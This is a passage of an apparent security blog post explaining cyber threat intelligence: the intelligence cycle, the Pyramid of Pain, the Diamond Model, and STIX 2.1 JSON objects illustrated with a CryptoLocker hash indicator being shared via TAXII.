<li class=""><strong>Evolution of Threats:</strong> Cyber threats have evolved from isolated incidents to nation-state campaigns, Ransomware-as-a-Service (RaaS), and supply-chain attacks.</li>
<li class=""><strong>Blind Defense is Impossible:</strong> Traditional "alerts only" (IDS/IPS/SOAR rules) cannot keep up. They are purely reactive. TI provides the <strong>why</strong> and <strong>how</strong> behind the alerts.</li>
<li class=""><strong>The Foundation for Hunting:</strong> Proactive threat hunting is valuable, but it needs a target list. TI gives you those targets (actor profiles, TTPs, infrastructure). Without it, you are basically shooting in the dark!</li>
</ul>
<blockquote>
<p><strong>The Reality Check:</strong> Companies without CTI programs suffer 2–3x higher breach costs. Organizations with mature TI programs detect threats days or weeks earlier.</p>
</blockquote>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-intelligence-cycle-how-threat-intel-is-born">The Intelligence Cycle: How Threat Intel is Born<a href="https://blog.haxnation.org/ti#the-intelligence-cycle-how-threat-intel-is-born" class="hash-link" aria-label="Direct link to The Intelligence Cycle: How Threat Intel is Born" title="Direct link to The Intelligence Cycle: How Threat Intel is Born" translate="no">​</a></h2>
<p>TI doesn't just magically appear in a CSV file. It follows a structured, iterative 6-phase intelligence lifecycle:</p>
<p><img decoding="async" loading="lazy" src="https://www.researchgate.net/publication/379583763/figure/fig3/AS:11431281234441896@1712327060001/The-Threat-Intelligence-Cycle.png" alt="The Threat Intelligence Cycle" class="img_ev3q"></p>
<p><em>Figure 1: The Threat Intelligence Cycle illustrating the 6 continuous phases from Planning to Feedback.</em></p>
<ol>
<li class=""><strong>Planning and Direction:</strong> Setting Priority Intelligence Requirements (PIRs). What are we defending? Who are our likely adversaries? What business risks matter most?</li>
<li class=""><strong>Collection:</strong> Gathering raw data from internal logs, open-source intelligence (OSINT), dark web chatter, malware analysis, commercial feeds, and ISACs.</li>
<li class=""><strong>Processing:</strong> Cleaning, normalizing, translating, and structuring the raw data (e.g., extracting IoCs from unorganized text into STIX JSON format).</li>
<li class=""><strong>Analysis and Production:</strong> Transforming processed data into actual intelligence. Analysts connect the dots using frameworks like the Diamond Model and MITRE ATT&amp;CK to establish context, attribution, and confidence scores.</li>
<li class=""><strong>Dissemination:</strong> Getting the intelligence to the right consumer at the right time like pushing machine-readable feeds to SIEMs/EDRs via TAXII, or delivering strategic intelligence reports to executives.</li>
<li class=""><strong>Feedback:</strong> Evaluating the output. Did this intel help the SOC prevent a breach? Did it answer the leadership's questions? The cycle adjusts accordingly.</li>
</ol>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-pyramid-of-pain-why-ttps-matter-more-than-hashes">The Pyramid of Pain: Why TTPs Matter More Than Hashes<a href="https://blog.haxnation.org/ti#the-pyramid-of-pain-why-ttps-matter-more-than-hashes" class="hash-link" aria-label="Direct link to The Pyramid of Pain: Why TTPs Matter More Than Hashes" title="Direct link to The Pyramid of Pain: Why TTPs Matter More Than Hashes" translate="no">​</a></h2>
<p>To truly appreciate why we do Threat Intelligence beyond simple IP blacklisting, you have to know David Bianco's <strong>Pyramid of Pain</strong>:</p>
<p><img decoding="async" loading="lazy" src="https://www.attackiq.com/wp-content/uploads/2019/06/blog-pyramid-pain-01-1024x576.jpg" alt="The Pyramid of Pain" class="img_ev3q"></p>
<p><em>Figure 2: David Bianco's Pyramid of Pain illustrating the degree of difficulty an adversary faces when defenders block indicators across different layers.</em></p>
<ul>
<li class=""><strong>Hash Values (Trivial):</strong> A single bit flipped in malware changes the hash. Blocking hashes causes trivial pain to the attacker.</li>
<li class=""><strong>IP Addresses (Easy):</strong> Attackers change proxy IPs and VPNs within minutes.</li>
<li class=""><strong>Domain Names (Simple):</strong> Dynamic DNS and fast-flux domains are dirt cheap to register.</li>
<li class=""><strong>Network / Host Artifacts (Annoying):</strong> Modifying registry keys or specific URI patterns forces the attacker to do minor rework.</li>
<li class=""><strong>Tools (Challenging):</strong> If you detect and block their custom C2 framework (like Cobalt Strike or custom loaders), they must write or buy a new tool.</li>
<li class=""><strong>TTPs - Tactics, Techniques &amp; Procedures (Tough / Painful):</strong> If you understand and block their core behavioral playbook (how they move laterally, dump credentials, or establish persistence), you force the adversary to completely reinvent their entire operating model.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-diamond-model-of-intrusion-analysis-in-depth">The Diamond Model of Intrusion Analysis (In Depth)<a href="https://blog.haxnation.org/ti#the-diamond-model-of-intrusion-analysis-in-depth" class="hash-link" aria-label="Direct link to The Diamond Model of Intrusion Analysis (In Depth)" title="Direct link to The Diamond Model of Intrusion Analysis (In Depth)" translate="no">​</a></h2>
<p>To analyze and correlate malicious cyber activity systematically, we use the <strong>Diamond Model</strong> (established in 2013 by Sergio Caltagirone, Andrew Pendergast, and Christopher Betz).</p>
<p>Instead of tracking simple, disconnected indicators, the Diamond Model establishes that every malicious intrusion is an <strong>Event</strong> defined by four core interconnected vertices:</p>
<p><img decoding="async" loading="lazy" src="https://uploads.teamt5.org/upload/original/What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_en_update.jpg" alt="The Diamond Model of Intrusion Analysis" class="img_ev3q"></p>
<p><em>Figure 3: The Core Diamond Model showing the four core vertices, the Socio-Political axis, and the Technical axis.</em></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-4-core-vertices">The 4 Core Vertices<a href="https://blog.haxnation.org/ti#the-4-core-vertices" class="hash-link" aria-label="Direct link to The 4 Core Vertices" title="Direct link to The 4 Core Vertices" translate="no">​</a></h3>
<ul>
<li class=""><strong>Adversary:</strong> The threat actor behind the intrusion. This distinguishes between the <strong>Adversary Operator</strong> (the hacker running keyboards) and the <strong>Adversary Customer</strong> (the state entity or sponsor who benefits from the operation).</li>
<li class=""><strong>Capability:</strong> The tools, techniques, exploits, and malware payloads deployed by the adversary.</li>
<li class=""><strong>Infrastructure:</strong> The physical and logical communication channels the adversary uses to deliver capabilities and control operations (e.g., C2 IP addresses, hijacked domains, compromised email relays).</li>
<li class=""><strong>Victim:</strong> The target organization, person, domain, or digital asset (e.g., customer PII databases, SCADA controllers).</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-two-principal-axes">The Two Principal Axes<a href="https://blog.haxnation.org/ti#the-two-principal-axes" class="hash-link" aria-label="Direct link to The Two Principal Axes" title="Direct link to The Two Principal Axes" translate="no">​</a></h3>
<p>The model connects these vertices across two fundamental axes:</p>
<ol>
<li class=""><strong>The Socio-Political Axis (Adversary &lt;-&gt; Victim):</strong> Captures intent, motive, geopolitical tensions, and victimology. Why is this specific adversary targeting this specific victim?</li>
<li class=""><strong>The Technical Axis (Capability &lt;-&gt; Infrastructure):</strong> Captures how the technology operates. How does the malware payload interact with the C2 infrastructure to execute the attack?</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="meta-features-adding-critical-context">Meta-Features: Adding Critical Context<a href="https://blog.haxnation.org/ti#meta-features-adding-critical-context" class="hash-link" aria-label="Direct link to Meta-Features: Adding Critical Context" title="Direct link to Meta-Features: Adding Critical Context" translate="no">​</a></h3>
<p>To make each diamond event actionable, the model attaches <strong>meta-features</strong>:</p>
<ul>
<li class=""><strong>Timestamp:</strong> The exact start and end time of the event.</li>
<li class=""><strong>Phase:</strong> The step within the intrusion lifecycle / Cyber Kill Chain (e.g., Reconnaissance, Weaponization, Delivery, Exploitation, C2, Actions on Objectives).</li>
<li class=""><strong>Result:</strong> Whether the attempt succeeded, failed, or was partially mitigated.</li>
<li class=""><strong>Direction:</strong> The flow of the event (e.g., Adversary-to-Infrastructure, Infrastructure-to-Victim, Bidirectional).</li>
<li class=""><strong>Methodology:</strong> The general classification of the action (e.g., Spearphishing with attachment, Port scanning).</li>
<li class=""><strong>Resources:</strong> Hardware, software, knowledge, or access required to pull off the action.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="activity-threads--activity-groups">Activity Threads &amp; Activity Groups<a href="https://blog.haxnation.org/ti#activity-threads--activity-groups" class="hash-link" aria-label="Direct link to Activity Threads &amp; Activity Groups" title="Direct link to Activity Threads &amp; Activity Groups" translate="no">​</a></h3>
<ul>
<li class=""><strong>Activity Threads:</strong> Linking consecutive diamond events over time to reconstruct an entire intrusion path from initial compromise to data exfiltration.</li>
<li class=""><strong>Activity Groups:</strong> Clustering multiple activity threads across different victims that share common Capabilities, Infrastructure, or Adversary features. This is how intelligence firms officially track and identify persistent threat groups like APT28, APT29, or Lazarus.</li>
<li class=""><strong>Gap Analysis:</strong> If you discover malware on your server (Capability) targeting your database (Victim), the Diamond Model immediately reveals the missing puzzle pieces: <em>What infrastructure did it talk to? Who sent it?</em> This directs your forensic investigation.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-backbone-of-sharing-stix-taxii-and-siem-ingestion">The Backbone of Sharing: STIX, TAXII, and SIEM Ingestion<a href="https://blog.haxnation.org/ti#the-backbone-of-sharing-stix-taxii-and-siem-ingestion" class="hash-link" aria-label="Direct link to The Backbone of Sharing: STIX, TAXII, and SIEM Ingestion" title="Direct link to The Backbone of Sharing: STIX, TAXII, and SIEM Ingestion" translate="no">​</a></h2>
<p>If you are doing TI, you need to share it. If I find a threat, I need my firewall to know about it instantly. This is where <strong>STIX</strong> and <strong>TAXII</strong> come into play. But what are they, and how do they actually look and get into our SIEM?</p>
<p><strong>The Problem They Solve:</strong> Historically, sharing threat intelligence involved manual, error-prone processes like sending PDFs, Excel sheets, or long email threads. Security tools couldn't ingest a PDF automatically. We needed a machine-readable standard and an automated protocol!</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="stix-structured-threat-information-expression">STIX (Structured Threat Information Expression)<a href="https://blog.haxnation.org/ti#stix-structured-threat-information-expression" class="hash-link" aria-label="Direct link to STIX (Structured Threat Information Expression)" title="Direct link to STIX (Structured Threat Information Expression)" translate="no">​</a></h3>
<ul>
<li class=""><strong>What is it?</strong> STIX is the <strong>language</strong> (the "what").</li>
<li class="">It is a standardized, JSON-based language used to describe cyber threat intelligence so that disparate security tools (SIEMs, EDRs, TIPs) interpret intelligence identically.</li>
<li class=""><strong>Key Object Categories (STIX 2.1 Specification):</strong>
<ul>
<li class=""><strong>SDOs (STIX Domain Objects):</strong> Core intelligence objects such as <code>indicator</code>, <code>malware</code>, <code>threat-actor</code>, <code>identity</code>, <code>attack-pattern</code>, <code>campaign</code>, and <code>vulnerability</code>.</li>
<li class=""><strong>SROs (STIX Relationship Objects):</strong> Connections that link SDOs together, primarily <code>relationship</code> (e.g., indicating, using, targeting) and <code>sighting</code> (recording that an indicator was seen in the wild).</li>
</ul>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-stix-looks-in-practice-a-real-world-scenario">How STIX Looks in Practice: A Real-World Scenario<a href="https://blog.haxnation.org/ti#how-stix-looks-in-practice-a-real-world-scenario" class="hash-link" aria-label="Direct link to How STIX Looks in Practice: A Real-World Scenario" title="Direct link to How STIX Looks in Practice: A Real-World Scenario" translate="no">​</a></h3>
<p>To see how STIX objects connect in real life, consider a scenario with two organizations in a sharing community: <strong>Company A</strong> (Producer) and <strong>Company B</strong> (Consumer).</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-common-properties-in-stix">1. Common Properties in STIX<a href="https://blog.haxnation.org/ti#1-common-properties-in-stix" class="hash-link" aria-label="Direct link to 1. Common Properties in STIX" title="Direct link to 1. Common Properties in STIX" translate="no">​</a></h4>
<p>Every SDO and SRO in STIX shares common required properties, such as <code>type</code>, a unique <code>id</code>, and timestamps (<code>created</code>, <code>modified</code>):</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicator"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicator--71312c48-925d-44b7-b10e-c11086995358"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"created"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:13:07.243000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"modified"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:13:07.243000Z"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain"></span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><br></div></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-stix-producer-company-a">2. STIX Producer: Company A<a href="https://blog.haxnation.org/ti#2-stix-producer-company-a" class="hash-link" aria-label="Direct link to 2. STIX Producer: Company A" title="Direct link to 2. STIX Producer: Company A" translate="no">​</a></h4>
<p>Company A detects malicious activity on their network. They create intelligence to share with peers:</p>
<ul>
<li class=""><strong>Indicator SDO:</strong> Contains the detection pattern (e.g., SHA-256 hash of CryptoLocker):</li>
</ul>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicator"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"spec_version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2.1"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicator--71312c48-925d-44b7-b10e-c11086995358"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"created"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:13:07.243000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"modified"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:13:07.243000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"CryptoLocker Hash"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"description"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"This file is a part of CryptoLocker"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"pattern"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"[file:hashes.'SHA-256' = '46afeb295883a5efd6639d4197eb18bcba3bff49125b810ca4b9509b9ce4dfbf']"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"pattern_type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"stix"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"indicator_types"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(248, 248, 242)">[</span><span class="token string" style="color:rgb(255, 121, 198)">"malicious-activity"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">]</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"valid_from"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-01-01T09:00:00.000000Z"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain"></span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><br></div></code></pre></div></div>
<ul>
<li class=""><strong>Malware SDO:</strong> Details the specific malware instance:</li>
</ul>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"malware"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"malware--81be4588-96a8-4de2-9938-9e16130ce7e6"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"spec_version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2.1"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"created"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:26:21.647000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"modified"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:26:21.647000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"CryptoLocker"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"description"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"CryptoLocker is known to hold files hostage for ransom."</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"malware_types"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(248, 248, 242)">[</span><span class="token string" style="color:rgb(255, 121, 198)">"ransomware"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain"></span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><br></div></code></pre></div></div>
<ul>
<li class=""><strong>Relationship SRO:</strong> Links the Indicator to the Malware using <code>source_ref</code>, <code>target_ref</code>, and <code>relationship_type</code> (<code>indicates</code>):</li>
</ul>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"relationship"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"relationship--a19fac85-f6f5-47f3-aacd-4bfb54557852"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"spec_version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2.1"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"created"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:30:51.987000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"modified"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:30:51.987000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"relationship_type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicates"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"source_ref"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicator--71312c48-925d-44b7-b10e-c11086995358"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"target_ref"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"malware--81be4588-96a8-4de2-9938-9e16130ce7e6"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain"></span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><br></div></code></pre></div></div>
<p><img decoding="async" loading="lazy" src="https://oasis-open.github.io/cti-documentation/img/stix2_relationship_example_2.png" alt="STIX Relationship Diagram" class="img_ev3q"></p>
<p><em>Figure 4: STIX Relationship showing an Indicator SDO linked via an "indicates" SRO to a Malware SDO.</em></p>
<ul>
<li class=""><strong>STIX Bundle:</strong> Company A wraps these objects into a single JSON container called a <strong>Bundle</strong> and publishes it to a TAXII server:</li>
</ul>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"bundle"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"bundle--1736e032-a96a-41e9-8302-126677d4d781"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"objects"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(248, 248, 242)">[</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicator"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicator--71312c48-925d-44b7-b10e-c11086995358"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"spec_version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2.1"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"created"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:13:07.243000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"modified"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:13:07.243000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"CryptoLocker Hash"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"description"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"This file is a part of CryptoLocker"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"pattern"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"[file:hashes.'SHA-256' = '46afeb295883a5efd6639d4197eb18bcba3bff49125b810ca4b9509b9ce4dfbf']"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"pattern_type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"stix"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"indicator_types"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(248, 248, 242)">[</span><span class="token string" style="color:rgb(255, 121, 198)">"malicious-activity"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">]</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"valid_from"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-01-01T09:00:00.000000Z"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div 